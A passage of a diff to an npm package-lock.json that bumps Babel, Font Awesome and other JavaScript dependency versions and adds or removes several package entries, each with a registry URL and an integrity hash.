"https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.12.13.tgz", + "integrity": "sha512-xpL49pqPnLtf0tVluuqvzWIgLEhuPpZzvs2yabUHSKRNlN7ScYU7aMlmavOeyXJZKgZKQRBlh8rHbKiJDraTSw==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.8.3.tgz", - "integrity": "sha512-CkuTU9mbmAoFOI1tklFWYYbzX5qCIZVXPVy0jpXgGwkplCndQAa58s2jr66fTeQnA64bDox0HL4U56CFYoyC7g==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.13.0.tgz", + "integrity": "sha512-V6vkiXijjzYeFmQTr3dBxPtZYLPcUfY34DebOU27jIl2M/Y8Egm52Hw82CSjjPqd54GTlJs5x+CR7HeNr24ckg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-skip-transparent-expression-wrappers": "^7.12.1" } }, "@babel/plugin-transform-sticky-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.8.3.tgz", - "integrity": "sha512-9Spq0vGCD5Bb4Z/ZXXSK5wbbLFMG085qd2vhL1JYu1WcQ5bXqZBAYRzU1d+p79GcHs2szYv5pVQCX13QgldaWw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.12.13.tgz", + "integrity": "sha512-Jc3JSaaWT8+fr7GRvQP02fKDsYk4K/lYwWq38r/UGfaxo89ajud321NH28KRQ7xy1Ybc0VUE5Pz8psjNNDUglg==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/helper-regex": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-template-literals": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.8.3.tgz", - "integrity": "sha512-820QBtykIQOLFT8NZOcTRJ1UNuztIELe4p9DCgvj4NK+PwluSJ49we7s9FB1HIGNIYT7wFUJ0ar2QpCDj0escQ==", + "version": "7.13.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.13.0.tgz", + "integrity": "sha512-d67umW6nlfmr1iehCcBv69eSUSySk1EsIS8aTDX4Xo9qajAh6mYtcl4kJrBkGXuxZPEgVr7RVfAvNW6YQkd4Mw==", "dev": true, "requires": { - "@babel/helper-annotate-as-pure": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.13.0" } }, "@babel/plugin-transform-typeof-symbol": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.8.4.tgz", - "integrity": "sha512-2QKyfjGdvuNfHsb7qnBBlKclbD4CfshH2KvDabiijLMGXPHJXGxtDzwIF7bQP+T0ysw8fYTtxPafgfs/c1Lrqg==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.12.13.tgz", + "integrity": "sha512-eKv/LmUJpMnu4npgfvs3LiHhJua5fo/CysENxa45YCQXZwKnGCQKAg87bvoqSW1fFT+HA32l03Qxsm8ouTY3ZQ==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-plugin-utils": "^7.12.13" + } + }, + "@babel/plugin-transform-unicode-escapes": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.12.13.tgz", + "integrity": "sha512-0bHEkdwJ/sN/ikBHfSmOXPypN/beiGqjo+o4/5K+vxEFNPRPdImhviPakMKG4x96l85emoa0Z6cDflsdBusZbw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/plugin-transform-unicode-regex": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.8.3.tgz", - "integrity": "sha512-+ufgJjYdmWfSQ+6NS9VGUR2ns8cjJjYbrbi11mZBTaWm+Fui/ncTLFF28Ei1okavY+xkojGr1eJxNsWYeA5aZw==", + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.12.13.tgz", + "integrity": "sha512-mDRzSNY7/zopwisPZ5kM9XKCfhchqIYwAKRERtEnhYscZB79VRekuRSoYbN0+KVe3y8+q1h6A4svXtP7N+UoCA==", "dev": true, "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3" + "@babel/helper-create-regexp-features-plugin": "^7.12.13", + "@babel/helper-plugin-utils": "^7.12.13" } }, "@babel/preset-env": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.9.6.tgz", - "integrity": "sha512-0gQJ9RTzO0heXOhzftog+a/WyOuqMrAIugVYxMYf83gh1CQaQDjMtsOpqOwXyDL/5JcWsrCm8l4ju8QC97O7EQ==", + "version": "7.13.15", + "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.13.15.tgz", + "integrity": "sha512-D4JAPMXcxk69PKe81jRJ21/fP/uYdcTZ3hJDF5QX2HSI9bBxxYw/dumdR6dGumhjxlprHPE4XWoPaqzZUVy2MA==", "dev": true, "requires": { - "@babel/compat-data": "^7.9.6", - "@babel/helper-compilation-targets": "^7.9.6", - "@babel/helper-module-imports": "^7.8.3", - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-proposal-async-generator-functions": "^7.8.3", - "@babel/plugin-proposal-dynamic-import": "^7.8.3", - "@babel/plugin-proposal-json-strings": "^7.8.3", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.8.3", - "@babel/plugin-proposal-numeric-separator": "^7.8.3", - "@babel/plugin-proposal-object-rest-spread": "^7.9.6", - "@babel/plugin-proposal-optional-catch-binding": "^7.8.3", - "@babel/plugin-proposal-optional-chaining": "^7.9.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.8.3", - "@babel/plugin-syntax-async-generators": "^7.8.0", - "@babel/plugin-syntax-dynamic-import": "^7.8.0", - "@babel/plugin-syntax-json-strings": "^7.8.0", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", - "@babel/plugin-syntax-numeric-separator": "^7.8.0", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", - "@babel/plugin-syntax-optional-chaining": "^7.8.0", - "@babel/plugin-syntax-top-level-await": "^7.8.3", - "@babel/plugin-transform-arrow-functions": "^7.8.3", - "@babel/plugin-transform-async-to-generator": "^7.8.3", - "@babel/plugin-transform-block-scoped-functions": "^7.8.3", - "@babel/plugin-transform-block-scoping": "^7.8.3", - "@babel/plugin-transform-classes": "^7.9.5", - "@babel/plugin-transform-computed-properties": "^7.8.3", - "@babel/plugin-transform-destructuring": "^7.9.5", - "@babel/plugin-transform-dotall-regex": "^7.8.3", - "@babel/plugin-transform-duplicate-keys": "^7.8.3", - "@babel/plugin-transform-exponentiation-operator": "^7.8.3", - "@babel/plugin-transform-for-of": "^7.9.0", - "@babel/plugin-transform-function-name": "^7.8.3", - "@babel/plugin-transform-literals": "^7.8.3", - "@babel/plugin-transform-member-expression-literals": "^7.8.3", - "@babel/plugin-transform-modules-amd": "^7.9.6", - "@babel/plugin-transform-modules-commonjs": "^7.9.6", - "@babel/plugin-transform-modules-systemjs": "^7.9.6", - "@babel/plugin-transform-modules-umd": "^7.9.0", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.8.3", - "@babel/plugin-transform-new-target": "^7.8.3", - "@babel/plugin-transform-object-super": "^7.8.3", - "@babel/plugin-transform-parameters": "^7.9.5", - "@babel/plugin-transform-property-literals": "^7.8.3", - "@babel/plugin-transform-regenerator": "^7.8.7", - "@babel/plugin-transform-reserved-words": "^7.8.3", - "@babel/plugin-transform-shorthand-properties": "^7.8.3", - "@babel/plugin-transform-spread": "^7.8.3", - "@babel/plugin-transform-sticky-regex": "^7.8.3", - "@babel/plugin-transform-template-literals": "^7.8.3", - "@babel/plugin-transform-typeof-symbol": "^7.8.4", - "@babel/plugin-transform-unicode-regex": "^7.8.3", - "@babel/preset-modules": "^0.1.3", - "@babel/types": "^7.9.6", - "browserslist": "^4.11.1", - "core-js-compat": "^3.6.2", - "invariant": "^2.2.2", - "levenary": "^1.1.1", - "semver": "^5.5.0" + "@babel/compat-data": "^7.13.15", + "@babel/helper-compilation-targets": "^7.13.13", + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-option": "^7.12.17", + "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.13.12", + "@babel/plugin-proposal-async-generator-functions": "^7.13.15", + "@babel/plugin-proposal-class-properties": "^7.13.0", + "@babel/plugin-proposal-dynamic-import": "^7.13.8", + "@babel/plugin-proposal-export-namespace-from": "^7.12.13", + "@babel/plugin-proposal-json-strings": "^7.13.8", + "@babel/plugin-proposal-logical-assignment-operators": "^7.13.8", + "@babel/plugin-proposal-nullish-coalescing-operator": "^7.13.8", + "@babel/plugin-proposal-numeric-separator": "^7.12.13", + "@babel/plugin-proposal-object-rest-spread": "^7.13.8", + "@babel/plugin-proposal-optional-catch-binding": "^7.13.8", + "@babel/plugin-proposal-optional-chaining": "^7.13.12", + "@babel/plugin-proposal-private-methods": "^7.13.0", + "@babel/plugin-proposal-unicode-property-regex": "^7.12.13", + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-dynamic-import": "^7.8.3", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-top-level-await": "^7.12.13", + "@babel/plugin-transform-arrow-functions": "^7.13.0", + "@babel/plugin-transform-async-to-generator": "^7.13.0", + "@babel/plugin-transform-block-scoped-functions": "^7.12.13", + "@babel/plugin-transform-block-scoping": "^7.12.13", + "@babel/plugin-transform-classes": "^7.13.0", + "@babel/plugin-transform-computed-properties": "^7.13.0", + "@babel/plugin-transform-destructuring": "^7.13.0", + "@babel/plugin-transform-dotall-regex": "^7.12.13", + "@babel/plugin-transform-duplicate-keys": "^7.12.13", + "@babel/plugin-transform-exponentiation-operator": "^7.12.13", + "@babel/plugin-transform-for-of": "^7.13.0", + "@babel/plugin-transform-function-name": "^7.12.13", + "@babel/plugin-transform-literals": "^7.12.13", + "@babel/plugin-transform-member-expression-literals": "^7.12.13", + "@babel/plugin-transform-modules-amd": "^7.13.0", + "@babel/plugin-transform-modules-commonjs": "^7.13.8", + "@babel/plugin-transform-modules-systemjs": "^7.13.8", + "@babel/plugin-transform-modules-umd": "^7.13.0", + "@babel/plugin-transform-named-capturing-groups-regex": "^7.12.13", + "@babel/plugin-transform-new-target": "^7.12.13", + "@babel/plugin-transform-object-super": "^7.12.13", + "@babel/plugin-transform-parameters": "^7.13.0", + "@babel/plugin-transform-property-literals": "^7.12.13", + "@babel/plugin-transform-regenerator": "^7.13.15", + "@babel/plugin-transform-reserved-words": "^7.12.13", + "@babel/plugin-transform-shorthand-properties": "^7.12.13", + "@babel/plugin-transform-spread": "^7.13.0", + "@babel/plugin-transform-sticky-regex": "^7.12.13", + "@babel/plugin-transform-template-literals": "^7.13.0", + "@babel/plugin-transform-typeof-symbol": "^7.12.13", + "@babel/plugin-transform-unicode-escapes": "^7.12.13", + "@babel/plugin-transform-unicode-regex": "^7.12.13", + "@babel/preset-modules": "^0.1.4", + "@babel/types": "^7.13.14", + "babel-plugin-polyfill-corejs2": "^0.2.0", + "babel-plugin-polyfill-corejs3": "^0.2.0", + "babel-plugin-polyfill-regenerator": "^0.2.0", + "core-js-compat": "^3.9.0", + "semver": "^6.3.0" + }, + "dependencies": { + "@babel/helper-validator-identifier": { + "version": "7.12.11", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.12.11.tgz", + "integrity": "sha512-np/lG3uARFybkoHokJUmf1QfEvRVCPbmQeUQpKow5cQ3xWrV9i3rUHodKDJPQfTVX61qKi+UdYk8kik84n7XOw==", + "dev": true + }, + "@babel/types": { + "version": "7.13.14", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.13.14.tgz", + "integrity": "sha512-A2aa3QTkWoyqsZZFl56MLUsfmh7O0gN41IPvXAE/++8ojpbz12SszD7JEGYVdn4f9Kt4amIei07swF1h4AqmmQ==", + "dev": true, + "requires": { + "@babel/helper-validator-identifier": "^7.12.11", + "lodash": "^4.17.19", + "to-fast-properties": "^2.0.0" + } + }, + "semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "dev": true + } } }, "@babel/preset-modules": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", - "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.4.tgz", + "integrity": "sha512-J36NhwnfdzpmH41M1DrnkkgAqhZaqr/NBdPfQ677mLzlaXo+oDiv1deyCDtgAhz8p328otdob0Du7+xgHGZbKg==", "dev": true, "requires": { "@babel/helper-plugin-utils": "^7.0.0", @@ -1034,23 +2568,23 @@ } }, "@babel/preset-react": { - "version": "7.9.4", - "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.9.4.tgz", - "integrity": "sha512-AxylVB3FXeOTQXNXyiuAQJSvss62FEotbX2Pzx3K/7c+MKJMdSg6Ose6QYllkdCFA8EInCJVw7M/o5QbLuA4ZQ==", + "version": "7.13.13", + "resolved": "https://registry.npmjs.org/@babel/preset-react/-/preset-react-7.13.13.tgz", + "integrity": "sha512-gx+tDLIE06sRjKJkVtpZ/t3mzCDOnPG+ggHZG9lffUbX8+wC739x20YQc9V35Do6ZAxaUc/HhVHIiOzz5MvDmA==", "dev": true, "requires": { - "@babel/helper-plugin-utils": "^7.8.3", - "@babel/plugin-transform-react-display-name": "^7.8.3", - "@babel/plugin-transform-react-jsx": "^7.9.4", - "@babel/plugin-transform-react-jsx-development": "^7.9.0", - "@babel/plugin-transform-react-jsx-self": "^7.9.0", - "@babel/plugin-transform-react-jsx-source": "^7.9.0" + "@babel/helper-plugin-utils": "^7.13.0", + "@babel/helper-validator-option": "^7.12.17", + "@babel/plugin-transform-react-display-name": "^7.12.13", + "@babel/plugin-transform-react-jsx": "^7.13.12", + "@babel/plugin-transform-react-jsx-development": "^7.12.17", + "@babel/plugin-transform-react-pure-annotations": "^7.12.1" } }, "@babel/runtime": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.9.6.tgz", - "integrity": "sha512-64AF1xY3OAkFHqOb9s4jpgk1Mm5vDZ4L3acHvAml+53nO1XbXLuDodsVpO4OIUsmemlUHMxNdYMNJmsvOwLrvQ==", + "version": "7.13.10", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.13.10.tgz", + "integrity": "sha512-4QPkjJq6Ns3V/RgpEahRk+AGfL0eO6RHHtTWoNNr5mO49G6B5+X6d6THgWEAvTrznU5xYpbAlVKRYcsCgh/Akw==", "requires": { "regenerator-runtime": "^0.13.4" } @@ -1071,16 +2605,6 @@ } } }, - "@babel/runtime-corejs3": { - "version": "7.9.6", - "resolved": "https://registry.npmjs.org/@babel/runtime-corejs3/-/runtime-corejs3-7.9.6.tgz", - "integrity": "sha512-6toWAfaALQjt3KMZQc6fABqZwUDDuWzz+cAfPhqyEnzxvdWOAkjwPNxgF8xlmo7OWLsSjaKjsskpKHRLaMArOA==", - "dev": true, - "requires": { - "core-js-pure": "^3.0.0", - "regenerator-runtime": "^0.13.4" - } - }, "@babel/template": { "version": "7.8.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.8.6.tgz", @@ -1130,12 +2654,19 @@ "version": "7.9.6", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.9.6.tgz", "integrity": "sha512-qxXzvBO//jO9ZnoasKF1uJzHd2+M6Q2ZPIVfnFps8JJvXy0ZBbwbNOmE6SGIY5XOY6d1Bo5lb9d9RJ8nv3WSeA==", + "dev": true, "requires": { "@babel/helper-validator-identifier": "^7.9.5", "lodash": "^4.17.13", "to-fast-properties": "^2.0.0" } }, + "@deepcode/dcignore": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@deepcode/dcignore/-/dcignore-1.0.2.tgz", + "integrity": "sha512-DPgxtHuJwBORpqRkPXzzOT+uoPRVJmaN7LR+pmeL6DQM90kj6G6GFUH1i/YpRH8NbML8ZGEDwB9f9u4UwD2pzg==", + "dev": true + }, "@egjs/hammerjs": { "version": "2.0.17", "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", @@ -1156,9 +2687,9 @@ } }, "@emotion/core": { - "version": "10.0.34", - "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz", - "integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==", + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.1.1.tgz", + "integrity": "sha512-ZMLG6qpXR8x031NXD8HJqugy/AZSkAuMxxqB46pmAR7ze47MhNJ56cdoX243QPZdGctrdfo+s08yZTiwaUcRKA==", "requires": { "@babel/runtime": "^7.5.5", "@emotion/cache": "^10.0.27", @@ -1226,74 +2757,185 @@ "integrity": "sha512-6U71C2Wp7r5XtFtQzYrW5iKFT67OixrSxjI4MptCHzdSVlgabczzqLe0ZSgnub/5Kp4hSbpDB1tMytZY9pwxxA==" }, "@fortawesome/fontawesome-common-types": { - "version": "0.2.30", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.30.tgz", - "integrity": "sha512-TsRwpTuKwFNiPhk1UfKgw7zNPeV5RhNp2Uw3pws+9gDAkPGKrtjR1y2lI3SYn7+YzyfuNknflpBA1LRKjt7hMg==" + "version": "0.2.35", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-common-types/-/fontawesome-common-types-0.2.35.tgz", + "integrity": "sha512-IHUfxSEDS9dDGqYwIW7wTN6tn/O8E0n5PcAHz9cAaBoZw6UpG20IG/YM3NNLaGPwPqgjBAFjIURzqoQs3rrtuw==" }, "@fortawesome/fontawesome-svg-core": { - "version": "1.2.30", - "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.30.tgz", - "integrity": "sha512-E3sAXATKCSVnT17HYmZjjbcmwihrNOCkoU7dVMlasrcwiJAHxSKeZ+4WN5O+ElgO/FaYgJmASl8p9N7/B/RttA==", + "version": "1.2.35", + "resolved": "https://registry.npmjs.org/@fortawesome/fontawesome-svg-core/-/fontawesome-svg-core-1.2.35.tgz", + "integrity": "sha512-uLEXifXIL7hnh2sNZQrIJWNol7cTVIzwI+4qcBIq9QWaZqUblm0IDrtSqbNg+3SQf8SMGHkiSigD++rHmCHjBg==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/free-regular-svg-icons": { - "version": "5.14.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.14.0.tgz", - "integrity": "sha512-6LCFvjGSMPoUQbn3NVlgiG4CY5iIY8fOm+to/D6QS/GvdqhDt+xZklQeERdCvVRbnFa1ITc1rJHPRXqkX5wztQ==", + "version": "5.15.3", + "resolved": "https://registry.npmjs.org/@fortawesome/free-regular-svg-icons/-/free-regular-svg-icons-5.15.3.tgz", + "integrity": "sha512-q4/p8Xehy9qiVTdDWHL4Z+o5PCLRChePGZRTXkl+/Z7erDVL8VcZUuqzJjs6gUz6czss4VIPBRdCz6wP37/zMQ==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/free-solid-svg-icons": { - "version": "5.14.0", - "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.14.0.tgz", - "integrity": "sha512-M933RDM8cecaKMWDSk3FRYdnzWGW7kBBlGNGfvqLVwcwhUPNj9gcw+xZMrqBdRqxnSXdl3zWzTCNNGEtFUq67Q==", + "version": "5.15.3", + "resolved": "https://registry.npmjs.org/@fortawesome/free-solid-svg-icons/-/free-solid-svg-icons-5.15.3.tgz", + "integrity": "sha512-XPeeu1IlGYqz4VWGRAT5ukNMd4VHUEEJ7ysZ7pSSgaEtNvSo+FLurybGJVmiqkQdK50OkSja2bfZXOeyMGRD8Q==", "requires": { - "@fortawesome/fontawesome-common-types": "^0.2.30" + "@fortawesome/fontawesome-common-types": "^0.2.35" } }, "@fortawesome/react-fontawesome": { - "version": "0.1.11", - "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.11.tgz", - "integrity": "sha512-sClfojasRifQKI0OPqTy8Ln8iIhnxR/Pv/hukBhWnBz9kQRmqi6JSH3nghlhAY7SUeIIM7B5/D2G8WjX0iepVg==", + "version": "0.1.14", + "resolved": "https://registry.npmjs.org/@fortawesome/react-fontawesome/-/react-fontawesome-0.1.14.tgz", + "integrity": "sha512-4wqNb0gRLVaBm/h+lGe8UfPPivcbuJ6ecI4hIgW0LjI7kzpYB9FkN0L9apbVzg+lsBdcTf0AlBtODjcSX5mmKA==", "requires": { "prop-types": "^15.7.2" } }, + "@jest/types": { + "version": "26.6.2", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-26.6.2.tgz", + "integrity": "sha512-fC6QCp7Sc5sX6g8Tvbmj4XUTbyrik0akgRy03yjXbQaBWWNWGE7SGtJk98m0N8nzegD/7SggrUlivxo5ax4KWQ==", + "dev": true, + "requires": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^15.0.0", + "chalk": "^4.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, "@kunukn/react-collapse": { "version": "1.2.7", "resolved": "https://registry.npmjs.org/@kunukn/react-collapse/-/react-collapse-1.2.7.tgz", "integrity": "sha512-Ez4CqaPqYFdYX8k8A0Y0640tEZT6oo+Lj3g3KyzuWjkl6uOBrnBohxyUfrCoS6wYVun9GUOgRH5V3pSirrmJDQ==" }, - "@nodelib/fs.scandir": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.3.tgz", - "integrity": "sha512-eGmwYQn3gxo4r7jdQnkrrN6bY478C3P+a/y72IJukF8LjB6ZHeB3c+Ehacj3sYeSmUXGlnA67/PmbM9CVwL7Dw==", + "@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.tgz", + "integrity": "sha512-+nb9vWloHNNMFHjGofEam3wopE3m1yuambrrd/fnPc+lFOMB9ROTqQlche9ByFWNkdNqfSgR/kkQtQ8DzEWt2w==", + "dev": true, + "optional": true, "requires": { - "@nodelib/fs.stat": "2.0.3", + "anymatch": "^2.0.0", + "async-each": "^1.0.1", + "braces": "^2.3.2", + "glob-parent": "^3.1.0", + "inherits": "^2.0.3", + "is-binary-path": "^1.0.0", + "is-glob": "^4.0.0", + "normalize-path": "^3.0.0", + "path-is-absolute": "^1.0.0", + "readdirp": "^2.2.1", + "upath": "^1.1.1" + } + }, + "@nodelib/fs.scandir": { + "version": "2.1.4", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.4.tgz", + "integrity": "sha512-33g3pMJk3bg5nXbL/+CY6I2eJDzZAni49PfJnL5fghPTggPvBd/pFNSgJsdAgWptuFu7qq/ERvOYFlhvsLTCKA==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "2.0.4", "run-parallel": "^1.1.9" } }, "@nodelib/fs.stat": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.3.tgz", - "integrity": "sha512-bQBFruR2TAwoevBEd/NWMoAAtNGzTRgdrqnYCc7dhzfoNvqPzLyqlEQnzZ3kVnNrSp25iyxE00/3h2fqGAGArA==" + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.4.tgz", + "integrity": "sha512-IYlHJA0clt2+Vg7bccq+TzRdJvv19c2INqBSsoOLp1je7xjtr7J26+WXR72MCdvU9q1qTzIWDfhMf+DRvQJK4Q==", + "dev": true }, "@nodelib/fs.walk": { - "version": "1.2.4", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.4.tgz", - "integrity": "sha512-1V9XOY4rDW0rehzbrcqAmHnz8e7SKvX27gh8Gt2WgB0+pdzdiLV83p72kZPU+jvMbS1qU5mauP2iOvO8rhmurQ==", + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.6.tgz", + "integrity": "sha512-8Broas6vTtW4GIXTAHDoE32hnN2M5ykgCpWGbuXHQ15vEMqr23pB76e/GZcYsZCHALv50ktd24qhEyKr6wBtow==", + "dev": true, "requires": { - "@nodelib/fs.scandir": "2.1.3", + "@nodelib/fs.scandir": "2.1.4", "fastq": "^1.6.0" } }, + "@octetstream/promisify": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/@octetstream/promisify/-/promisify-2.0.2.tgz", + "integrity": "sha512-7XHoRB61hxsz8lBQrjC1tq/3OEIgpvGWg6DKAdwi7WRzruwkmsdwmOoUXbU4Dtd4RSOMDwed0SkP3y8UlMt1Bg==", + "dev": true + }, + "@open-policy-agent/opa-wasm": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@open-policy-agent/opa-wasm/-/opa-wasm-1.2.0.tgz", + "integrity": 